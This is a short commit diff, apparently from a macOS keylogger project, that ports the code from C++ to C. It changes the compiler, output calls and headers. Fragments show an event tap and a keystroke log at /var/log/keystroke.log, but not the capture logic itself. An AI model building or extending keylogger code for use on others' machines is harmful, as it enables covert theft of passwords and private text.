Change to C, as no C++ functionality is being used.

Makefile

@@ -1,6 +1,6 @@
-CC=g++
+CC=gcc
 CFLAGS=-framework ApplicationServices -framework Carbon
-SOURCES=keylogger.cpp keylogger.h
+SOURCES=keylogger.c keylogger.h
 EXECUTABLE=keylogger
 INSTALLDIR=/usr/local/bin
 

keylogger.c

@@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) {
 
     // Exit the program if unable to create the event tap.
     if(!eventTap) {
-        cout << "Unable to create event tap.\n" << endl;
+        printf("Unable to create event tap.\n");
         exit(1);
     }
 
@@ -28,7 +28,8 @@ int main(int argc, const char *argv[]) {
     fflush(logfile);
 
     // Display the location of the logfile and start the loop.
-    cout << "Logging to: " << logfileLocation << endl;
+    printf("Logging to: %s\n", logfileLocation);
+    fflush(stdout);
     CFRunLoopRun();
 
     return 0;

keylogger.h

@@ -1,15 +1,12 @@
 #ifndef __KEYLOGGER_H__
 #define __KEYLOGGER_H__
 
-#include <iostream>
 #include <stdio.h>
-#include <ctime>
+#include <time.h>
 #include <ApplicationServices/ApplicationServices.h>
 #include <Carbon/Carbon.h>
 // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
 
-using namespace std;
-
 FILE *logfile = NULL;
 const char *logfileLocation = "/var/log/keystroke.log";